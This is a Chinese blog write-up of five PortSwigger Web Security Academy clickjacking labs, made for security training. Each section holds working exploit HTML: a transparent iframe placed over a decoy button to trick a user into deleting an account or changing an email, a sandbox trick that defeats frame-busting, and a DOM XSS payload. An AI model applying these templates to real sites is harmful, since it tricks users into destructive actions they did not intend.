首页 > 其他分享 >portswigger 靶场之点击劫持(Clickjacking)

portswigger 靶场之点击劫持(Clickjacking)

时间:2023-02-26 18:56:36浏览次数:48  
标签:index 劫持 Clickjacking portswigger 点击 iframe 攻击者 position 靶场

All labs | Web Security Academy --- 所有实验室 |网络安全学院 (portswigger.net)

目录

1. Basic clickjacking with CSRF token protection

具有 CSRF 令牌保护的基本点击劫持

目标:

制作一些 HTML 来构建帐户页面并欺骗用户删除他们的帐户

过程:

  1. 先登录账号,登录后界面上有个选项为Delete account,即删除账户。
  2. 页面上方有个Go to exploit server去利用服务器,点进去,在Body中写入HTML代码并用CSS来绝对定位选项Delete account的位置。
  3. 设置透明度opacity使得攻击者看不到真实的界面,Delete account选项被隐藏在<div>Click Me</div>之下

Quote / 参考

在点击劫持攻击中,攻击者会将一个透明的iframe覆盖在目标网站的页面上,然后诱使受害者在该iframe中点击某些看似无害的按钮或链接,实际上却是在执行攻击者的恶意操作

攻击者使用iframe的目的是为了掩盖受害者的真实行为。因为iframe可以嵌入其他网站或页面,攻击者可以在iframe中展示一个看似无害的页面或按钮,但实际上它们可能会触发跨站点请求,执行攻击者的恶意操作。

<style>
    iframe {
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.0000001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click Me</div>
<iframe src="https://0a37007803673341c044c7f400150047.web-security-academy.net/my-account"></iframe>

2. Clickjacking with form input data prefilled from a URL parameter

使用从 URL 参数预填充的表单输入数据进行点击劫持

目标:

诱使用户点击“更新电子邮件”按钮

过程:

登录账号,转到服务器界面,这一关,主要是通过 GET 参数的方式预填充表单,即在 URL 上添加了修改的邮箱

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.00;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px;
        left:80px;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="https://0a3800d603ebc15ac0aa4aa0002c0090.web-security-academy.net/[email protected]"></iframe>

3. Clickjacking with a frame buster script

使用 frame buster 脚本进行点击劫持

目标:

诱使用户点击“更新电子邮件”按钮

过程:

  1. 先登录账号,然后到服务器界面,这一关运用了sandbox 属性,限制 iframe 嵌套,使其失效。
  2. 可通过在iframe标签中设置sandbox="allow-forms"来绕过限制

Quote / 参考

  • "Frame buster" 技术使用 JavaScript 代码来检测页面是否被嵌套在框架中

  • 在 HTML 中,sandbox="allow-forms" 是一种设置 iframe(内嵌框架)安全性的方法之一。该属性指定在 iframe 中是否允许表单提交。

  • sandbox 属性的值为 allow-forms 时,表示在 iframe 中允许表单提交,但不允许执行其他一些操作,如运行脚本、显示弹出窗口等。

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a0e00d50460a332c236f332009c00c0.web-security-academy.net/my-account/[email protected]"></iframe>

4. Exploiting clickjacking vulnerability to trigger DOM-based XSS

利用点击劫持漏洞触发基于 DOM 的 XSS

目标:

欺骗用户单击“单击我”按钮来调用函数。print()

过程:

  1. 先登录账号,然后到服务器界面,这一关在 iframe 的点击劫持中附加了 DOM XSS。
  2. 通过 name 输入框,放入 JavaScript 脚本<img src=1 one rror=print()>,因为这个 img 标签的 src 属性的值是 1,所以这个图片肯定是不存在的,因此会触发 one rror 事件,并且执行 print() 函数。print() 是 JavaScript 的内置函数,能够在弹窗中输出内容。
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:40px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0a2a00e403c20784c0166d6a00c800b2.web-security-academy.net/feedback/?name=<img src=1 one rror=print()>&[email protected]&subject=test&message=test#feedbackResult"></iframe>

5. Multistep clickjacking

多步点击劫持

目标:

诱骗用户单击删除帐户按钮和确认对话框

过程:

需要执行两个步骤,删除用户 --> 确认删除,所以设置两个点击按钮

<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:510px;
       left:50px;
       z-index: 1;
   }
   .secondClick {
       top:285px;
       left:225px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click Store</div>
<iframe src="https://0a9a0010038a45ffc436c9d000f50019.web-security-academy.net/my-account"></iframe>

标签:index,劫持,Clickjacking,portswigger,点击,iframe,攻击者,position,靶场
From: https://www.cnblogs.com/yii-ling/p/17157291.html

相关文章

  • Portswigger 靶场之“业务逻辑漏洞”
    Alllabs|WebSecurityAcademy(portswigger.net)1.Excessivetrustinclient-sidecontrols过度信任客户端控制登录wiener:peter,购买Lightweight"l33t"Leathe......
  • Portswigger 靶场之 XML 外部实体注入(XEE)
    Alllabs|WebSecurityAcademy(portswigger.net)1.ExploitingXXEusingexternalentitiestoretrievefiles使用外部实体利用XXE来检索文件检查库存功能......
  • vulnhub靶场之DRIFTINGBLUES: 9 (FINAL)
    准备:攻击机:虚拟机kali、本机win10。靶机:DriftingBlues:9(final),下载地址:https://download.vulnhub.com/driftingblues/driftingblues9.ova,下载后直接vbox打开即可。知......
  • Web安全入门与靶场实战(43)- 查看Linux版本
    脏牛漏洞是在Linux内核中存在的一个漏洞,具体原理是get_user_page内核函数在处理Copy-on-Write(简称COW)的过程中,可能产生竞态条件造成COW过程被破坏。这里我们不需要去理解......
  • Upload-labs 靶场
    项目地址:https://github.com/c0ny1/upload-labs一、前端JS检测绕过上传一个php文件,失败了,只允许图片为后缀的文件进行上传。这一关的关键是“JavaScript代码对文......
  • DVWA靶场实战(十四)——JavaScript
    DVWA靶场实战(十四)五、JavaScript:1.漏洞原理:这里的JavaScript其实是JavaScriptAttack也就是JS攻击。JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本......
  • Portswigger 靶场之“文件上传”
    FileuploadvulnerabilitiesAlllabs|WebSecurityAcademy(portswigger.net)1.Remotecodeexecutionviawebshellupload通过Webshell上传远程执行代码......
  • Web安全入门与靶场实战(34)- MD5与Hash加密
    在上篇博文中,我们通过查询MySQL数据库获取到了网站的管理员账号以及经过加密后的密码,大部分情况下,数据库中的密码都是采用的MD5加密。虽然Drupal这里采用的加密方式并不是MD......
  • Web安全入门与靶场实战(33)- Drupal的数据库配置文件
    至此,我们已经拿到了这个靶机中的4个flag:flag1、flag3、flag4以及thefinalflag,但是还有flag2没有拿到。联想到之前flag1给出的提示:EverygoodCMSneedsaconfigfile那么fl......
  • portswigger 靶场之 SSRF 篇
    Alllabs|WebSecurityAcademy(portswigger.net)1.针对本地服务器的基本SSRF易受攻击的参数是:库存检查功能目标:更改URL来访问http://localhost/admin并删除用......